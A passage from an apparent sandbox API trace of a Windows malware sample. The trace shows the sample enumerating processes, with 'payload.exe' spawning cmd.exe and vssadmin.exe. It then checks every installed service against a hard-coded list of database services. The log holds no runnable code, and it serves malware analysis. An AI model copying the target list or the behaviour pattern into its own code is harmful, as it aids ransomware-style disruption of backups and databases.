cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.455] lstrlenW (lpString="svchost.exe") returned 11 [0135.455] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.456] lstrlenW (lpString="svchost.exe") returned 11 [0135.456] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.457] lstrlenW (lpString="svchost.exe") returned 11 [0135.457] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.458] lstrlenW (lpString="svchost.exe") returned 11 [0135.458] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.459] lstrlenW (lpString="svchost.exe") returned 11 [0135.459] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.460] lstrlenW (lpString="svchost.exe") returned 11 [0135.460] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.461] lstrlenW (lpString="svchost.exe") returned 11 [0135.461] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.462] lstrlenW (lpString="svchost.exe") returned 11 [0135.462] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0135.463] lstrlenW (lpString="spoolsv.exe") returned 11 [0135.463] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.464] lstrlenW (lpString="svchost.exe") returned 11 [0135.464] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0135.464] lstrlenW (lpString="audiodg.exe") returned 11 [0135.465] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0135.465] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0135.465] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0135.466] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0135.466] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0135.467] lstrlenW (lpString="Memory Compression") returned 18 [0135.467] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0135.468] lstrlenW (lpString="sihost.exe") returned 10 [0135.468] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.469] lstrlenW (lpString="svchost.exe") returned 11 [0135.469] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0135.470] lstrlenW (lpString="taskhostw.exe") returned 13 [0135.470] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0135.470] lstrlenW (lpString="msoia.exe") returned 9 [0135.471] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0135.471] lstrlenW (lpString="explorer.exe") returned 12 [0135.471] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0135.472] lstrlenW (lpString="SearchUI.exe") returned 12 [0135.472] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0135.690] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0135.691] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0135.691] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0135.691] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0135.692] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0135.692] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0135.693] lstrlenW (lpString="payload.exe") returned 11 [0135.693] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0135.694] lstrlenW (lpString="cmd.exe") returned 7 [0135.694] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0135.694] lstrlenW (lpString="conhost.exe") returned 11 [0135.694] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0135.695] lstrlenW (lpString="vssadmin.exe") returned 12 [0135.695] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0135.696] lstrlenW (lpString="consent.exe") returned 11 [0135.696] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0135.696] CloseHandle (hObject=0x4c4) returned 1 [0135.696] Sleep (dwMilliseconds=0x1f4) [0136.550] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443e008 [0136.551] EnumServicesStatusExW (in: hSCManager=0x443e008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0136.552] GetLastError () returned 0xea [0136.552] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c30) returned 0x448dfd8 [0136.552] EnumServicesStatusExW (in: hSCManager=0x443e008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x448dfd8, cbBufSize=0x1c30, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x448dfd8, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0136.553] CloseServiceHandle (hSCObject=0x443e008) returned 1 [0136.553] lstrlenW (lpString="Appinfo") returned 7 [0136.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0136.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0136.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0136.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0136.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0136.553] lstrlenW (lpString="AppXSvc") returned 7 [0136.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0136.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0136.553] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0136.553] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0136.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0136.554] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0136.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0136.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0136.554] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0136.554] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0136.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0136.554] lstrlenW (lpString="Audiosrv") returned 8 [0136.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0136.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0136.554] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0136.554] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0136.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0136.554] lstrlenW (lpString="BFE") returned 3 [0136.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0136.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0136.554] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0136.554] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0136.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0136.554] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0136.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0136.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0136.554] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0136.554] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0136.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0136.554] lstrlenW (lpString="CDPSvc") returned 6 [0136.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0136.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0136.554] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0136.554] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0136.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0136.554] lstrlenW (lpString="ClickToRunSvc") returned 13 [0136.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0136.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0136.554] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0136.554] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0136.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0136.555] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0136.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0136.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0136.555] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0136.555] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0136.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0136.555] lstrlenW (lpString="CryptSvc") returned 8 [0136.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0136.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0136.555] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0136.555] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0136.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0136.555] lstrlenW (lpString="DcomLaunch") returned 10 [0136.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0136.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0136.555] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0136.555] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0136.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0136.555] lstrlenW (lpString="DeviceAssociationService") returned 24 [0136.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0136.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0136.555] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0136.555] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0136.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0136.555] lstrlenW (lpString="Dhcp") returned 4 [0136.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0136.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0136.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0136.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0136.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0136.555] lstrlenW (lpString="Dnscache") returned 8 [0136.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0136.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0136.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0136.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0136.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0136.556] lstrlenW (lpString="DPS") returned 3 [0136.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0136.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0136.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0136.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0136.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0136.556] lstrlenW (lpString="DusmSvc") returned 7 [0136.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0136.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0136.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0136.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0136.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0136.556] lstrlenW (lpString="EventLog") returned 8 [0136.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0136.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0136.556] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0136.556] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0136.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0136.556] lstrlenW (lpString="EventSystem") returned 11 [0136.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0136.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0136.556] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0136.556] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0136.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0136.556] lstrlenW (lpString="FontCache") returned 9 [0136.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0136.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0136.556] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0136.556] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0136.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0136.557] lstrlenW (lpString="gpsvc") returned 5 [0136.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0136.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0136.557] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0136.557] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0136.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0136.557] lstrlenW (lpString="iphlpsvc") returned 8 [0136.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0136.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0136.557] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0136.557] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0136.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0136.557] lstrlenW (lpString="KeyIso") returned 6 [0136.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0136.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0136.557] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0136.557] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0136.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0136.557] lstrlenW (lpString="LanmanServer") returned 12 [0136.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0136.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0136.557] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0136.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0136.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0136.557] lstrlenW (lpString="LanmanWorkstation") returned 17 [0136.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0136.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0136.557] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0136.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0136.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0136.557] lstrlenW (lpString="lfsvc") returned 5 [0136.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0136.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0136.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0136.557] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0136.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0136.558] lstrlenW (lpString="lmhosts") returned 7 [0136.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0136.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0136.558] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0136.558] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0136.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0136.558] lstrlenW (lpString="LSM") returned 3 [0136.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0136.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0136.558] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0136.558] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0136.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0136.558] lstrlenW (lpString="MpsSvc") returned 6 [0136.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0136.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0136.558] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0136.558] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0136.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0136.558] lstrlenW (lpString="NcbService") returned 10 [0136.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0136.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0136.558] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0136.558] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0136.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0136.558] lstrlenW (lpString="netprofm") returned 8 [0136.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0136.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0136.558] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0136.558] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0136.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0136.558] lstrlenW (lpString="NgcSvc") returned 6 [0136.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0136.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 